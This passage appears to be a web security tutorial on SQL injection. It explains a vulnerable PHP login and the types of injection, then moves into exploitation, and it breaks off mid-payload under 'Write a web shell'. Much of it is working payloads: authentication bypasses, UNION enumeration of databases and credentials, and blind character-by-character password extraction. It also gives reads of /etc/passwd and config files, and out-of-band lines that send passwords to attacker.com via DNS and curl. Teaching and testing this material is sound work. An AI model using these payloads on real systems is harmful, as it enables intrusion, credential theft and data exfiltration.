Key Takeaways

  • SQL Injection remains the #3 most critical web vulnerability according to OWASP 2021.
  • There are three main types: In-band, Blind, and Out-of-band SQLi.
  • Parameterized queries (Prepared Statements) prevent 99% of SQLi attacks.
  • Modern WAFs can be bypassed using encoding and obfuscation techniques.
  • SQLMap is the industry-standard tool for automated SQLi testing.
  • Defense requires a layered approach: input validation + parameterization + least privilege.

1. Introduction to SQL Injection

SQL Injection (SQLi) is one of the oldest and most devastating web application vulnerabilities in existence. First documented in 1998 by security researcher Jeff Forristal, SQL injection has been responsible for some of the largest data breaches in history, affecting companies like Sony, LinkedIn, Yahoo, and countless others.

At its core, SQL injection occurs when an attacker is able to insert or "inject" malicious SQL code into a query that an application sends to its database. When successful, this allows attackers to:

The Real Impact

According to the Verizon Data Breach Investigations Report, SQL injection is involved in approximately 23% of all web application attacks. The average cost of a data breach caused by SQLi exceeds $4.24 million (IBM Security, 2023).

Despite being well-understood for over 25 years, SQL injection continues to plague applications worldwide. This is primarily due to:

  1. Legacy code - Older applications built before security best practices were established
  2. Developer inexperience - Lack of security training in development teams
  3. Time pressure - Security often sacrificed for faster delivery
  4. Third-party components - Vulnerable libraries and frameworks
  5. Complex applications - Difficulty auditing all database interaction points

2. How SQL Injection Works

To understand SQL injection, you need to understand how web applications interact with databases. Most modern web applications use a database to store and retrieve data. When you log in, search for products, or submit a form, the application constructs SQL queries based on your input.

The Vulnerable Pattern

Consider this PHP code that checks user login credentials:

// VULNERABLE CODE - Never do this!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);

For a legitimate user entering "alice" and "secret123", the query becomes:

SELECT * FROM users WHERE username = 'alice' AND password = 'secret123'

This works as expected. But what happens when an attacker enters:

Username: admin' --
Password: anything

The resulting query becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The -- sequence is a SQL comment. Everything after it is ignored, including the password check. The attacker just logged in as admin without knowing the password!

Understanding the Attack

The attack works because:

  1. User input is directly concatenated into the SQL query string
  2. The single quote (') breaks out of the intended string context
  3. The attacker can then inject their own SQL commands
  4. Special characters like -- (comment) terminate the rest of the query

SQL Syntax Fundamentals

To effectively exploit SQL injection, you need to understand SQL syntax. Here are the key elements:

ElementPurposeExample
' (single quote)String delimiterWHERE name = 'John'
--SQL comment (MySQL, PostgreSQL, MSSQL)SELECT * FROM users --comment
#SQL comment (MySQL only)SELECT * FROM users #comment
/**/Multi-line commentSELECT/*comment*/* FROM users
;Query terminator (stacking)SELECT 1; DROP TABLE users
UNIONCombine query resultsSELECT a FROM t1 UNION SELECT b FROM t2
OR 1=1Always-true conditionWHERE id = 1 OR 1=1

3. Types of SQL Injection

SQL injection vulnerabilities are categorized based on how the attacker extracts data from the database. Understanding these categories is crucial for both exploitation and defense.

3.1 In-Band SQL Injection (Classic)

In-band SQLi is the most common and easiest to exploit. The attacker uses the same communication channel to launch the attack and gather results. There are two main sub-types:

Error-Based SQL Injection

The attacker forces the database to generate error messages that reveal information about the database structure.

// Forcing an error to reveal database info
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) --

// MySQL error reveals version:
// XPATH syntax error: '~5.7.32~'

UNION-Based SQL Injection

The attacker uses the UNION operator to combine results from the original query with results from injected queries.

// Original query: SELECT name, price FROM products WHERE id = 1

// Injection to extract all usernames and passwords:
1 UNION SELECT username, password FROM users --

// Result shows products AND user credentials!

For UNION attacks to work, you must:

  1. Determine the number of columns in the original query
  2. Ensure data types are compatible
  3. Find a column that displays on the page
// Finding number of columns using ORDER BY
' ORDER BY 1 -- (success)
' ORDER BY 2 -- (success)
' ORDER BY 3 -- (success)
' ORDER BY 4 -- (error! Only 3 columns exist)

// Or using NULL values
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL -- (success! 3 columns)

3.2 Blind SQL Injection

Blind SQLi occurs when the application doesn't display database errors or query results directly. The attacker must infer information by asking true/false questions or measuring response times.

Boolean-Based Blind SQLi

The attacker submits queries that cause different application responses based on TRUE or FALSE conditions.

// Testing if first character of admin password is 'a'
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --

// If page loads normally: first character IS 'a'
// If page shows error/different content: first character is NOT 'a'

// Automate through entire alphabet, then move to second character
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin') = 'b' --

Time-Based Blind SQLi

When there's no visible difference in responses, attackers can use time delays to infer information.

// MySQL time-based blind
' AND IF(1=1, SLEEP(5), 0) -- (page takes 5 seconds = SQLi confirmed)

// Extracting data character by character
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0) --

// If response takes 5 seconds: first character IS 'a'
// If response is immediate: first character is NOT 'a'
Time-Based Functions by Database
  • MySQL: SLEEP(5), BENCHMARK(10000000, SHA1('test'))
  • PostgreSQL: pg_sleep(5)
  • SQL Server: WAITFOR DELAY '0:0:5'
  • Oracle: dbms_pipe.receive_message('x', 5)

3.3 Out-of-Band SQL Injection

Out-of-band SQLi uses alternative channels (like DNS or HTTP requests) to exfiltrate data. This is useful when:

// MySQL - DNS exfiltration (requires LOAD_FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='admin'), '.attacker.com\\share')) --

// SQL Server - DNS exfiltration
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\share' --

// PostgreSQL - HTTP request
'; COPY (SELECT password FROM users) TO PROGRAM 'curl http://attacker.com/?data=' || password --

4. Detecting SQL Injection Vulnerabilities

4.1 Manual Testing Methodology

Before using automated tools, manual testing helps you understand the application's behavior:

1Submit Single Quote: Enter ' in every input field and URL parameter. Look for SQL error messages or unusual behavior.

https://example.com/products?id=1'

// Error indicates potential SQLi:
// "You have an error in your SQL syntax..."
// "Unclosed quotation mark after the character string"

2Test Boolean Conditions: Submit payloads that should cause different responses:

// Original: ?id=1 (shows product)
?id=1 AND 1=1 -- (should still show product - TRUE)
?id=1 AND 1=2 -- (should show error/nothing - FALSE)

// If behavior differs, SQLi likely exists

3Test Time Delays:

?id=1; WAITFOR DELAY '0:0:10' --
?id=1 AND SLEEP(10) --

// If response takes 10 seconds, SQLi confirmed

4Test UNION Queries:

?id=1 UNION SELECT NULL --
?id=1 UNION SELECT NULL, NULL --
// Continue until no error (determines column count)

4.2 Common Entry Points

SQL injection can occur in many places beyond obvious form inputs:

5. Exploitation Techniques

5.1 Extracting Database Information

Once you confirm SQLi exists, the next step is enumeration:

// Determine database type
' UNION SELECT @@version -- (MySQL, SQL Server)
' UNION SELECT version() -- (PostgreSQL)
' UNION SELECT banner FROM v$version -- (Oracle)

// Get current database name
' UNION SELECT database() -- (MySQL)
' UNION SELECT current_database() -- (PostgreSQL)
' UNION SELECT DB_NAME() -- (SQL Server)

// Get current user
' UNION SELECT user() -- (MySQL)
' UNION SELECT current_user -- (PostgreSQL)
' UNION SELECT SYSTEM_USER -- (SQL Server)

// List all databases (MySQL)
' UNION SELECT schema_name FROM information_schema.schemata --

// List all tables in current database (MySQL)
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --

// List columns in a specific table (MySQL)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --

// Extract data
' UNION SELECT CONCAT(username,':',password) FROM users --

5.2 Authentication Bypass

Classic authentication bypass payloads:

// Login as admin without password
admin' --
admin' #
admin'/*
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 --
') OR ('1'='1
') OR ('1'='1' --

// Login as first user in database
' OR 1=1 LIMIT 1 --

// Login as specific user
' UNION SELECT 1,'admin','password123' --

5.3 Reading Files from Server

// MySQL - Read /etc/passwd
' UNION SELECT LOAD_FILE('/etc/passwd') --

// MySQL - Read web application source code
' UNION SELECT LOAD_FILE('/var/www/html/config.php') --

5.4 Writing Files to Server

// MySQL - Write a web shell
' UNION SELECT '